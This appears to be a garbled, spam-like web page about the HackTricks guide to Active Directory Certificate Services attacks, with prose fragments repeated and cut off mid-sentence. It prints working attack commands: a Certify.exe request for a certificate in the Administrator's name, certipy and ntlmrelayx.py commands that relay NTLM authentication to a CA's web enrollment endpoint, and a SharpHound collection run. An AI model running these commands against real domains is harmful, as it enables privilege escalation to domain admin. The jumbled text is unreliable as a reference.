Hacktricks Adcs [cracked]
While that whitepaper is a masterpiece of research, it is dense and academic. The HackTricks AD CS guide acts as the "pocket reference" version of that whitepaper. It strips away the deep cryptographic theory and focuses on:
: CA’s authentication strength is set to low (e.g., Windows Integrated Auth without any additional protection).
:
# Request a certificate for a domain admin (using Certify) Certify.exe request /ca:dc.contoso.local\CONTOSO-CA /template:UserSAN /altname:Administrator
certipy relay -target http://ca.contoso.com -template DomainController hacktricks adcs
The guide excels in teaching "Shadow Discovery"—the art of finding AD CS installations that admins might not even realize are exposed. It provides a comprehensive list of tools and commands (primarily using Certify.exe , certutil , and PowerShell) to map out:
# Relay NTLM auth from a compromised host to ADCS ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support --adcs --template DomainController While that whitepaper is a masterpiece of research,
SharpHound3 -c All,GPOLocalGroup,LoggedOn,Trusts,ACL,Container,RDP,ObjectProps,DCOM,SPNTargets,PSRemote,CertServices
This command lists all templates where misconfigurations like or ESC8 exist. 2. Core Escalation Techniques (ESC1 - ESC8) : # Request a certificate for a domain